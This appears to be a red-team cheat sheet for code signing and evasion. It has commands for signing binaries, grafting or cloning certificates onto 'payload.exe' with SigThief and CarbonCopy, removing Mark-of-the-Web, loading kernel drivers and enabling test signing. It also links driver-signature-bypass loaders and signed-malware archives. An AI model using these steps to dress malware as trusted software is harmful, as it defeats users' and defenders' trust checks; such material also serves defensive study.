Key Commands Summary
# osslsigncode (Linux)
osslsigncode sign -pkcs12 cert.pfx -pass PASS -h sha256 -ts http://timestamp.digicert.com -in in.exe -out out.exe
osslsigncode verify -in out.exe -v
osslsigncode remove-signature -in out.exe -out unsigned.exe
# OpenSSL cert generation
openssl genrsa -out key.pem 2048
openssl req -new -key key.pem -out csr.pem -subj "/CN=Publisher Name/O=Company/C=US"
openssl x509 -req -days 1825 -in csr.pem -signkey key.pem -out cert.pem
openssl pkcs12 -export -out cert.pfx -inkey key.pem -in cert.pem -passout pass:PASSWORD
# SigThief
python3 sigthief.py -i legit.exe -t payload.exe -o signed_payload.exe
# CarbonCopy
python3 CarbonCopy.py www.microsoft.com 443 payload.exe signed_payload.exe
# PowerShell signing
New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=Name" -CertStoreLocation "Cert:\CurrentUser\My"
Set-AuthenticodeSignature -FilePath file.exe -Certificate $cert -TimestampServer "http://timestamp.digicert.com"
Get-AuthenticodeSignature file.exe | Select Status, SignerCertificate
Unblock-File -Path downloaded.exe # Remove MOTW
Get-Item file.exe -Stream * # Check for ADS / MOTW
:: signtool.exe (Windows SDK)
signtool.exe sign /f cert.pfx /p PASS /fd SHA256 /tr http://timestamp.digicert.com /td SHA256 payload.exe
signtool.exe verify /pa /v payload.exe
signtool.exe catdb /v /u catalog.cat
:: Driver loading
sc.exe create SvcName binPath= "C:\path\driver.sys" type= kernel start= demand
sc.exe start SvcName
bcdedit /set testsigning on ← lab only, very detectable
References & Tools
Signing Tools: - signtool.exe — Windows SDK (Microsoft official) - osslsigncode — https://github.com/mtrojnar/osslsigncode (Linux/macOS Authenticode) - SigThief — https://github.com/secretsquirrel/SigThief (certificate grafting) - CarbonCopy — https://github.com/paranoidninja/CarbonCopy (cert identity cloning) - Invoke-Mimikatz signing wrappers — various GitHub repos
Kernel / Driver: - LOLDrivers — https://www.loldrivers.io (signed vulnerable driver database) - KDMapper — https://github.com/TheCruZ/kdmapper (unsigned driver loader via iqvw64e.sys) - gdrv-loader — https://github.com/namazso/gdrv-loader (GIGABYTE DSE bypass)
Certificate Research:
- crt.sh — https://crt.sh (Certificate Transparency log search)
- Censys Certificates — https://search.censys.io/certificates (search issued certs)
- MalwareBazaar — https://bazaar.abuse.ch (signed malware samples)
- VirusTotal — Filter by tag:signed for signed malware analysis
Further Reading: - SpecterOps — "MotW Bypass Research" (MOTW propagation gaps) - Matt Graeber — Authenticode and PowerShell signing deep dives - Google Project Zero — Authenticode verification research - Microsoft MSDN — Authenticode (WinVerifyTrust API) - DigiCert — Code Signing Best Practices - Red Team Notes — https://www.ired.team (binary signing and evasion) - VX-Underground — https://vx-underground.org (signed malware sample archive)